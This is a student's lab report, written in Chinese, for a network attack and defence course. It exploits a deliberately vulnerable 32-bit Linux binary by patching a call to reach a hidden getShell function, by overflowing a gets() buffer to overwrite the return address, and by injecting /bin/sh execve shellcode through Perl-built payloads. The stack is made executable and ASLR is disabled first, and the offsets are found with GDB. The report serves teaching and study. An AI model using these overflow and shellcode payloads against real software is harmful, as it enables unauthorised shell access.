20212920 许邵 2021-2022-2 《网络攻防实践》实践九报告
20212920 许邵 2021-2022-2 《网络攻防实践》实践九报告
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
理论基础:
1.常用的汇编指令
指令 | 描述 | 格式 | 说明 |
---|---|---|---|
MOV | 传送字或字节 | MOV DEST,SRC | 将SRC移动到DEST |
XCHG | 交换指令 | XCHG OPER1,OPER2 | 把操作数oper1与操作数oper2交换 |
ADD | 加法 | ADD DEST,SRC | DEST<=DEST+SRC |
SUB | 减法 | SUB DEST,SRC | DEST<=DEST-SRC |
CMP | 比较 | CMP DEST,SRC | 计算DEST-SRC的差,不处理结果 |
JMP | 无条件转移指令 | JMP LABEL | 无条件跳转到LABEL处 |
CALL | 过程调用指令 | CALL LABEL | 段内直接调用LABEL处指令 |
RET | 段内过程返回指令 | RET | 结束子程序 |
SAL | 算术左移 | SAL OPRD,count | 将OPRD算术左移count位 |
SHL | 逻辑左移 | SHL OPRD,count | 将OPRD逻辑左移count位 |
SAR | 算术右移 | SAR OPRD,count | 将OPRD算术右移count位 |
SHR | 逻辑右移 | SHR OPRD,count | 将OPRD逻辑右移count位 |
PUSH | 进栈 | PUSH SRC | 将SRC压入堆栈 |
POP | 出栈 | POP SRC | 将SRC推出堆栈 |
LEA | 取有效地址 | LEA REC,OPRD | 把操作数oprd的有效地址传送到操作数rec |
2.Shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
使用shellcode的基本步骤为:
‐ 先正向写出我们想要的代码。
‐ 用反编译软件,找到对应的硬编码。
- 适当修改硬编码。
2.实践过程
2.1 可执行文件的修改
原本pwn1的功能是:简单回显用户输入的字符串。
反汇编提供的pwn1文件,命令:objdump -d pwn1 | more
反汇编后,这里显示了这个程序使用的所有函数。函数中包括了所有的汇编指令。
如下图中的getshell、foo和main函数。
我们还可以看到,main函数中的第四行call指令,会将函数调用到foo函数中,而foo函数中没有跳转到getShell函数(0804847d)的指令。进一步分析得出,在这个文件中,call指令的机器码是e8.
实际上,8048491=80484ba+ffffffd7,也就是说,call指令跳转到的目标foo函数的地址(8048491)正是该指令的下一条指令的EIP寄存器的值(80484ba,这正是该指令的下一条指令的地址)与该指令的表示目标的字段(ffffffd7,小端优先)之和。
因此,我们可以这样修改:
由于804847d-80484ba=ffffffc3,所以我们只需要把call指令的目标地址由d7ffffff改为c3ffffff即可。
先拷贝cp pwn1 pwn1-20212920
,
然后用vi编辑器打开拷贝出来的pwn1-20212920。
得到一串乱码。按下esc离开编辑模式,然后键入:%!xxd
,切换到16进制模式。
根据之前看到的反汇编的结果,键入/d7
,进行定位,如果前后正是e8d7ffff,即可判断这就是我们要修改的位置(在4b0行)。
修改d7为c3(光标定位到要切换的字符,按r键进入到切换字符模式,然后键入),然后转换为原来的格式:%!xxd -r
,保存退出:wq
。
重新反汇编objdump -d pwn1-20212920 | more
,发现主函数中的call指令目标成功切换到了getShell。
运行一下,./pwn1-20212920
,发现该程序改为调用shell指令了。
2.2 改变指令流,实现BOF攻击
首先反汇编这个pwn文件,查看一下程序的基本功能,找到foo的漏洞。
先看foo函数。
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
第三行的sub指令,给堆栈预留了一定大小的空间;通过第四行的lea指令,将携带偏移量0x1c的ebp放到eax,然后在第五行,将eax放到堆栈esp上,相当于把一定大小的空间(长度为28)预留给函数geps@plt(负责读取用户输入的字符串,将字符串拷贝到指针ptr中)。
分析可得,该函数会预留一个28字节的空间,当输入长度大于28字节的字符串时,会发生缓冲区溢出。
该函数的ebp部分是从主函数main通过call foo指令传入的,所以溢出的一部分将被作为eip寄存器的值。而eip和ebp寄存器的长度恰为4字节。
如果我们把eip的值,也就是输入的字符串的第33-36个字节设为getshell的地址值0804847d,那么,我们会进入getshell函数,从而实现对shell指令的控制。
由于elf语言是小端优先,我们在33-36个字节应该这样输入:\x7d\x84\x04\x08
。
但是,由于这四个字符无法直接通过键盘输入,我们需要采取额外的手段。这里使用Perl。Perl是一门解释性语言,可以直接在命令行上使用。
运行命令perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08\x0a"' > pwn1_input
,输出到pwn1_input文件中。由于pwn1_input中有些字符无法显示,故通过管道进行输入:(cat pwn1_input; cat) | ./pwn1
然后输入相应的shell指令,发现这个程序确实在使用getShell函数,将输入的字符串当成shell指令处理了,说明BOF攻击是成功的。
2.2.3 注入shellcode代码
使用的代码如下图所示。
将上述代码保存到exp9.c文件中,使用gcc进行静态编译:gcc -static -o exp9 exp9.c
。
先运行一下看看。
发现该文件会将输入的字符转化为shell命令进行处理。
为了方便我们将shellcode指令注入到堆栈中,我们要先做以下准备工作:
-
关闭地址随机化
先用命令cat /proc/sys/kernel/randomize_va_space
,查看地址随机化是开启(2)还是关闭(0)
如上图,目前是开启状态,sudo su
提权,然后使用命令echo "0" > /proc/sys/kernel/randomize_va_space
关闭它。如果上图显示的是0则不需要修改。 -
设置堆栈可执行
先安装execstack。
然后拷贝一个pwn1的备份到2920pwn1文件。先使用命令execstack -s 2920pwn1
设置堆栈可执行,然后用execstack -q 2920pwn1
查看堆栈是否可执行。
先采用nop+shellcode+retaddr的方式构造一个负载。nop一是为了填充,二是作为“着陆区、滑行区”,我们猜测,返回的地址只要落在任何一个nop上,就会滑到我们的shellcode。
构造的负载如下所示:
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00
使用命令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x04\x03\x02\x01\x00"'>input_shellcode
,将这个负载输出到input_shellcode文件中,使用这个shellcode运行2920pwn1。
(cat input_shellcode; cat) | ./2920pwn1
按两下enter键,发现segmentation fault错误,说明这个程序有问题。
为了调试这一问题,我们重新运行这个程序,然后再打开一个终端。在新的终端上查找2920pwn1所在进程的进程号。
进程号是6370。
启动GDB,用attach追踪这个进程。
设置断点break *0x080484ae
。可以先用指令disassemble foo,查看该函数的return指令在哪里。
在运行pwn1的终端中按下回车键,在运行gdb调试的终端中输入命令c,便捕捉到了断点,用info r esp发现该函数返回的地址是0xbfff49c。
经过寻找,我们不难发现,shellcode所在地址为0xbfff47c。
退出GDB。
在运行shellcode的终端上,修改shellcode指令perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x7c\xf4\xff\xbf\x00"'>input_shellcode_1
运行(cat input_shellcode_1;cat)| ./2920pwn1
发现还是不行。
那我们就按照另一种形式anything+retaddr+nops+shellcode,对shellcode进行修改。
之前我们看到01020304所在的地址为0xbfff49c,而shellcode的地址正是它的下四个字节的地址,也就是0xbfff4a0
perl -e 'print "A" x 32; print "\xa0\xf4\xff\xbf\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"'>input_shellcode_2
重新运行指令(cat input_shellcode_2; cat) | ./2920pwn1
,发现该程序成功读取了shell指令,实现了BOF攻击。
3.学习中遇到的问题及解决
- 问题1:一开始跟着视频做,完全不清楚为什么要填写这些指令。
- 问题1解决方案:上网查阅了有关汇编语言常用指令的博客,初步理解了pwn1文件中某些算法的执行原理。
- 问题2:运行pwn1文件,显示权限不够,切换到root后还是不行。
- 问题2解决方案:sudo chmod 755 pwn1,修改文件属性
- 问题3:在Kali Linux虚拟机安装execstack时,显示“无法定位软件包”
- 问题3解决方案:https://blog.csdn.net/weixin_43729943/article/details/104221462 ,然后
sudo apt install prelink
,也可以直接在Ubuntu虚拟机下做这一部分实验。 - 问题4:修改后的shellcode运行依然报错。
- 问题4解决方案:这是使用了64位操作系统的缘故,换32位操作系统再试试。
4.实践总结
这次实践明显要难于其他的实践,一定要耐心操作,认真分析,发现问题要及时改进。通过本次实践,我对shellcode技术和汇编语言有了初步的了解,让我充分体会到了程序运行的深层次的逻辑,对程序运行、进程与堆栈的关系有了进一步的体会。